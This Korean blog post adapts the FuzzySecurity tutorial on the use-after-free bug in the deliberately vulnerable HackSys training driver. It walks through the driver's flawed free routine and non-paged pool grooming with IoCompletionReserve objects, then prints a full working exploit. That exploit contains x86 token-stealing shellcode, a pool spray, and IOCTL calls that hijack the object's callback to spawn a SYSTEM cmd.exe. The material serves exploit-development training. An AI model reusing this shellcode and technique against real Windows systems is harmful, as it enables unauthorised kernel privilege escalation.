[Kernel Exploitation] Use After Free



출처: https://www.fuzzysecurity.com/tutorials.html


본 포스팅은 fuzzysecurity Tutorials part 15 -> Use After Free를 분석 및 의역하여 작성하였습니다. 

Sample Windows Driver code에 존재하는 취약점을 학습하는 데 그 목적이 있습니다.



Step 1. 취약점 분석

UAF code를 살펴보면 IOCTL에 따라 각각 다른 함수들이 실행됩니다.

 

non-paged pool chunk를 할당해주는 code입니다. 해당 chunk의 구조는 위에 나와있듯 USE_AFTER_FREE 구조체입니다. 전역 구조체 pointer g_UseAfterFreeObject에 Object에 대한 주소를 담습니다. 

typedef struct _USE_AFTER_FREE { FunctionPointer Callback; CHAR Buffer[0x54]; } USE_AFTER_FREE, *PUSE_AFTER_FREE; // _USE_AFTER_FREE 구조체 NTSTATUS AllocateUaFObject() { NTSTATUS Status = STATUS_SUCCESS; PUSE_AFTER_FREE UseAfterFree = NULL; PAGED_CODE(); __try { DbgPrint("[+] Allocating UaF Object\n"); UseAfterFree = (PUSE_AFTER_FREE)ExAllocatePoolWithTag(NonPagedPool, sizeof(USE_AFTER_FREE), (ULONG)POOL_TAG); // _USE_AFTER_FREE 구조체 할당 if (!UseAfterFree) { DbgPrint("[-] Unable to allocate Pool chunk\n"); Status = STATUS_NO_MEMORY; return Status; } else { DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool)); DbgPrint("[+] Pool Size: 0x%X\n", sizeof(USE_AFTER_FREE)); DbgPrint("[+] Pool Chunk: 0x%p\n", UseAfterFree); } RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41); // 할당받은 구조체에 data 삽입 UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\0'; UseAfterFree->Callback = &UaFObjectCallback; // Callback 함수 주소 초기화 g_UseAfterFreeObject = UseAfterFree; // 전역 구조체 포인터 초기화 DbgPrint("[+] UseAfterFree Object: 0x%p\n", UseAfterFree); DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject); DbgPrint("[+] UseAfterFree->Callback: 0x%p\n", UseAfterFree->Callback); } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status; }

 

 

할당된 chunk를 free 시켜주는 함수입니다. 여기서 살펴봐야할 것은 SECURE한 상태에서는 해당 object pointer가 NULL로 초기화 되지만 #else 부분을 보면 pointer 초기화가 이루어 지지 않습니다. 

NTSTATUS FreeUaFObject() { NTSTATUS Status = STATUS_UNSUCCESSFUL; PAGED_CODE(); __try { if (g_UseAfterFreeObject) { DbgPrint("[+] Freeing UaF Object\n"); DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObject); #ifdef SECURE ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG); // Pool에 할당된 chunk 해제 g_UseAfterFreeObject = NULL; // 전역 구조체 pointer NULL로 초기화 #else ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG); // Pool에 할당된 chunk 해제 #endif Status = STATUS_SUCCESS; } } }

 

 

UseUaFObject() 함수 부분입니다. AllocateUaFObject로 할당받은 Object에서 Callback함수로 설정된 함수를 호출합니다. 

NTSTATUS UseUaFObject() {

	NTSTATUS Status = STATUS_UNSUCCESSFUL; PAGED_CODE(); __try {

		if (g_UseAfterFreeObject) {

			DbgPrint("[+] Using UaF Object\n");

			DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);

			DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);

			DbgPrint("[+] Calling Callback\n");

			if (g_UseAfterFreeObject->Callback) {

				g_UseAfterFreeObject->Callback();
				// Callback 함수가 NULL이 아닐 시 Callback() 호출

			}Status = STATUS_SUCCESS;

		}

	}

	__except (EXCEPTION_EXECUTE_HANDLER) {

		Status = GetExceptionCode();

		DbgPrint("[-] Exception Code: 0x%X\n", Status);

	}

	return Status;
}

 

 

AllocateFakeObject() 함수는 AllocateUaFObject()에서 할당받는 object의 크기와 같은 object를 할당합니다. AllocateUaFObject()와의 차이점은 callback함수가 초기화하지 않는 점과 할당하는 object의 0x58bytes 크기의 buffer를 내가 보내는 data로 넣을 수 있다는 것입니다. 

NTSTATUS AllocateFakeObject(IN PFAKE_OBJECT UserFakeObject) {

	NTSTATUS Status = STATUS_SUCCESS;

	PFAKE_OBJECT KernelFakeObject = NULL; PAGED_CODE();

	__try {

		DbgPrint("[+] Creating Fake Object\n");

		KernelFakeObject = (PFAKE_OBJECT)ExAllocatePoolWithTag(NonPagedPool, sizeof(FAKE_OBJECT), (ULONG)POOL_TAG);
		// Fake Object 할당

		if (!KernelFakeObject) {

			DbgPrint("[-] Unable to allocate Pool chunk\n");

			Status = STATUS_NO_MEMORY;
			return Status;
		}
		else {
			DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
			DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
			DbgPrint("[+] Pool Size: 0x%X\n", sizeof(FAKE_OBJECT));
			DbgPrint("[+] Pool Chunk: 0x%p\n", KernelFakeObject);
		}

		ProbeForRead((PVOID)UserFakeObject, sizeof(FAKE_OBJECT), (ULONG)__alignof(FAKE_OBJECT));

		RtlCopyMemory((PVOID)KernelFakeObject, (PVOID)UserFakeObject, sizeof(FAKE_OBJECT));
		// Fake object에 data 삽입

		KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '\0';

		DbgPrint("[+] Fake Object: 0x%p\n", KernelFakeObject);
	}
	__except (EXCEPTION_EXECUTE_HANDLER) {
		Status = GetExceptionCode();
		DbgPrint("[-] Exception Code: 0x%X\n", Status);
	}

	return Status;
}

 

Object를 선언 후 Object header 부분에 Pool tag와 flag를 나타내는 data는 총 8bytes가 있고 그 이후로 0x41로 채워져 있습니다. 

 

 

 

Pool 할당 상태를 살펴보면 size는 0x60bytes(header 포함), 해당 pool chunk에 대한 tag가 나타나 있습니다. 

 

 

 

Step 2. Exploit

UAF라는 취약점은 free이후에도 해당 object 주소값의 data를 사용하는 것을 말합니다. 이 code에서 추측해보자면 처음 AllocateUaFObject()에서 g_UseAfterFreeObject와 Callback 함수 주소를 초기화시켜줍니다.

 

그리고 free를 한 후 fake chunk에 data를 채워 넣고 처음 4bytes, 즉 callback함수 주소 부분에 shellcode 주소를 넣어 UseUaFObject() 함수를 이용해 Callback함수를 호출합니다.

 

고려할 것은 chunk를 free하고 다시 fake chunk를 할당해줄 때 같은 주소에 할당이 되어야 하는 것입니다. Free가 된 chunk size와 할당할 chunk size가 같다면 같은 주소를 쓰지만 Pool chunk를 free할 시에 memory fragmentation을 방지하기 위해서 인접한 free상태의 chunk끼리 합치기 때문에 같은 주소에 할당할 가능성이 낮아집니다.

 

이를 방지하기 위해서 IoCompletionReserve object 할당을 통해서 예측 가능한 곳에 UaF object를 할당해줍니다. 아래 Object는 크기가 0x60이고 non-paged pool에 할당되기 때문에 이 object를 엄청나게 많이 할당해 이미 있는 pool의 빈공간들을 메우고 중간중간을 free시켜 0x60bytes만큼의 free memory를 만들어줍니다.

 

 

IoCompletionReserve 객체를 엄청나게 많이 할당해주게 되면 Pool 어딘가의 memory 상태는 아래와 같아집니다. Object의 tag는 IoCo 입니다. 

kd > !pool 853a6db0

Pool page 853a6db0 region is Nonpaged pool

853a6000 size : 60 previous size : 0  (Allocated)IoCo(Protected)

853a6060 size : 40 previous size : 60  (Free)       ....

853a60a0 size : 60 previous size : 40  (Allocated)IoCo(Protected)

853a6100 size : 60 previous size : 60  (Allocated)IoCo(Protected)

853a6160 size : 60 previous size : 60  (Allocated)IoCo(Protected)

853a61c0 size : 60 previous size : 60  (Allocated)IoCo(Protected)

853a6220 size : 60 previous size : 60  (Allocated)IoCo(Protected)

853a6280 size : 60 previous size : 60  (Allocated)IoCo(Protected)

853a62e0 size : 60 previous size : 60  (Allocated)IoCo(Protected)

853a6340 size : 60 previous size : 60  (Allocated)IoCo(Protected)

853a63a0 size : 60 previous size : 60  (Allocated)IoCo(Protected)

853a6400 size : 60 previous size : 60  (Allocated)IoCo(Protected)

853a6460 size : 60 previous size : 60  (Allocated)IoCo(Protected)

853a64c0 size : 60 previous size : 60  (Allocated)IoCo(Protected)

...

 

 

또 UaFObject 할당을 위해서 중간중간을 free시켜주면 아래와 같이 pool memory 상태가 됩니다. 만약 내가 UAF object를 할당한다면 저 free가 된 곳중 어느 하나에 할당이 될 것입니다. 그리고 그 할당된 Object를 free시키고 많은 수의 fake object를 할당해주게 되면 같은 주소에 할당이 될 것입니다.


그 때 UseUaFObject()를 해준다면 shellcode가 실행될 것입니다.


kd > !pool 85407db0

Pool page 85407db0 region is Nonpaged pool

85407000 size:   60 previous size : 0  (Allocated)IoCo(Protected)

85407060 size : a0 previous size : 60  (Free)       ....

85407100 size : 60 previous size : a0(Allocated)  IoCo(Protected)

85407160 size : 60 previous size : 60  (Free)IoCo

854071c0 size : 60 previous size : 60  (Allocated)IoCo(Protected)

85407220 size : 60 previous size : 60  (Free)IoCo

85407280 size : 60 previous size : 60  (Allocated)IoCo(Protected)

854072e0 size : 60 previous size : 60  (Free)IoCo

85407340 size : 60 previous size : 60  (Allocated)IoCo(Protected)

854073a0 size : 60 previous size : 60  (Free)IoCo

85407400 size : 60 previous size : 60  (Allocated)IoCo(Protected)

85407460 size : 60 previous size : 60  (Free)IoCo

854074c0 size : 60 previous size : 60  (Allocated)IoCo(Protected)

85407520 size : 60 previous size : 60  (Free)IoCo

85407580 size : 60 previous size : 60  (Allocated)IoCo(Protected)

854075e0 size : 60 previous size : 60  (Free)IoCo

85407640 size : 60 previous size : 60  (Allocated)IoCo(Protected)

854076a0 size : 60 previous size : 60  (Free)IoCo

85407700 size : 60 previous size : 60  (Allocated)IoCo(Protected)

85407760 size : 60 previous size : 60  (Free)IoCo

854077c0 size : 60 previous size : 60  (Allocated)IoCo(Protected)

...

 


최종적으로 exploit 소스는 아래와 같으며 성공적으로 권한이 상승된 shell을 획득할 수 있습니다.

#include 
#include 
#include 
#include 
#include 
#define HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_USE_UAF_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, METHOD_NEITHER, FILE_ANY_ACCESS)
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID

typedef struct _UNICODE_STRING {

	USHORT Length;

	USHORT MaximumLength;

	PWSTR Buffer;

}UNICODE_STRING, *PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {

	ULONG Length;

	HANDLE RootDirectory;

	PUNICODE_STRING ObjectName;

	ULONG Attributes;

	PVOID SecurityDescriptor;

	PVOID SecurityQualityOfService;

}OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef NTSTATUS(WINAPI *NTALLOCATERESERVEOBJECT)(OUT PHANDLE hObject,

	IN POBJECT_ATTRIBUTES ObjectAttributes,

	IN DWORD Objecttype);

HANDLE ReserveObjectHandle1[10000] = { 0, };

HANDLE ReserveObjectHandle2[5000] = { 0, };

VOID TokenShellcode() {

	__asm {

		pushad; Save registers state; Start of Token Stealing Stub

		xor eax, eax; Set ZERO

		mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread

		; _KTHREAD is located at FS : [0x124]mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Processmov ecx, eax; Copy current process _EPROCESS structuremov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4

		SearchSystemPID:
		mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
			sub eax, FLINK_OFFSET
			cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
			jne SearchSystemPID

			mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
			mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
			; with SYSTEM process nt!_EPROCESS.Token
			popad; Restore registers state
	}
}
void SetNonPagePool() {
	int i = 0;
	for (i = 0; i < 5000; i += 2) {
		if (!CloseHandle(ReserveObjectHandle2[i])) {
			printf("[!] CloseHandle error: 0x%x\n", GetLastError());
			return;
		}
	}
}
void SprayNonPagedPool() {
	int i = 0;
	HMODULE hNtdll = NULL;
	NTALLOCATERESERVEOBJECT NtAllocateReserveObject = NULL;
	NTSTATUS NtStatus = 1;
	hNtdll = LoadLibraryA("ntdll.dll");
	if (!hNtdll) {
		printf("[!] LoadLibrary error: 0x%x\n", GetLastError());
		return;
	}
	NtAllocateReserveObject = (NTALLOCATERESERVEOBJECT)GetProcAddress(hNtdll, "NtAllocateReserveObject");
	if (!NtAllocateReserveObject) {
		printf("[!] GetProcAddress error: 0x%x\n", GetLastError());
		return;
	}

	for (i = 0; i < 10000; i++) {
		NtStatus = NtAllocateReserveObject(&ReserveObjectHandle1[i], 0, 1);
		if (NtStatus) {
			printf("[!] 1st NtAllocateReservObject error: 0x%x\n", GetLastError());
			return;
		}
	}
	for (i = 0; i < 5000; i++) {
		NtStatus = NtAllocateReserveObject(&ReserveObjectHandle2[i], 0, 1);
		if (NtStatus) {
			printf("[!] 2nd NtAllocateReservObject error: 0x%x\n", GetLastError());
			return;
		}
	}
}

int main(int argc, CHAR* argv[])
{
	LPCSTR lpDevicename = (LPCSTR)"\\\\.\\HackSysExtremeVulnerableDriver";
	PUCHAR lpInBuffer = NULL;
	SIZE_T Bufferlen = 0x60;
	DWORD lpBytesReturned;
	int i = 0;
	lpInBuffer = (PUCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Bufferlen);
	if (!lpInBuffer) {
		printf("[!] HeapAlloc error: 0x%x\n", GetLastError());
		return 0;
	}

	lpInBuffer[0] = (DWORD)&TokenShellcode;
	lpInBuffer[1] = ((DWORD)&TokenShellcode & 0x0000ff00) >> 8;
	lpInBuffer[2] = ((DWORD)&TokenShellcode & 0x00ff0000) >> 16;
	lpInBuffer[3] = ((DWORD)&TokenShellcode & 0xff000000) >> 24;
	memset(lpInBuffer + 4, 0x41, Bufferlen - 5);
	lpInBuffer[Bufferlen - 1] = (UCHAR)'\x00';
	printf("lpInbuffer.len: 0x%x\n", strlen((char *)lpInBuffer));
	printf("lpInBuffer: %s\n", lpInBuffer);
	HANDLE hDriver = CreateFile(lpDevicename,
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
		NULL);

	if (hDriver == INVALID_HANDLE_VALUE) {
		printf("[!] Fail to get device handle: 0x%x\n", GetLastError());
	}
	SprayNonPagedPool();
	SetNonPagePool();

	DeviceIoControl(hDriver,
		HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT,
		NULL,
		0,
		NULL,
		0,
		&lpBytesReturned,
		NULL);
	DeviceIoControl(hDriver,
		HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT,
		NULL,
		0,
		NULL,
		0,
		&lpBytesReturned,
		NULL);

	for (i = 0; i < 0x1000; i++) {
		DeviceIoControl(hDriver,
			HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT,
			lpInBuffer,
			Bufferlen,
			NULL,
			0,
			&lpBytesReturned,
			NULL);
	}
	DeviceIoControl(hDriver,
		HACKSYS_EVD_IOCTL_USE_UAF_OBJECT,
		NULL,
		0,
		NULL,
		0,
		&lpBytesReturned,
		NULL);
	system("cmd.exe");

	HeapFree(GetProcessHeap(), 0, (LPVOID)lpInBuffer);
	CloseHandle(hDriver);

	return 0;
}

 

 

이 글을 공유하기

댓글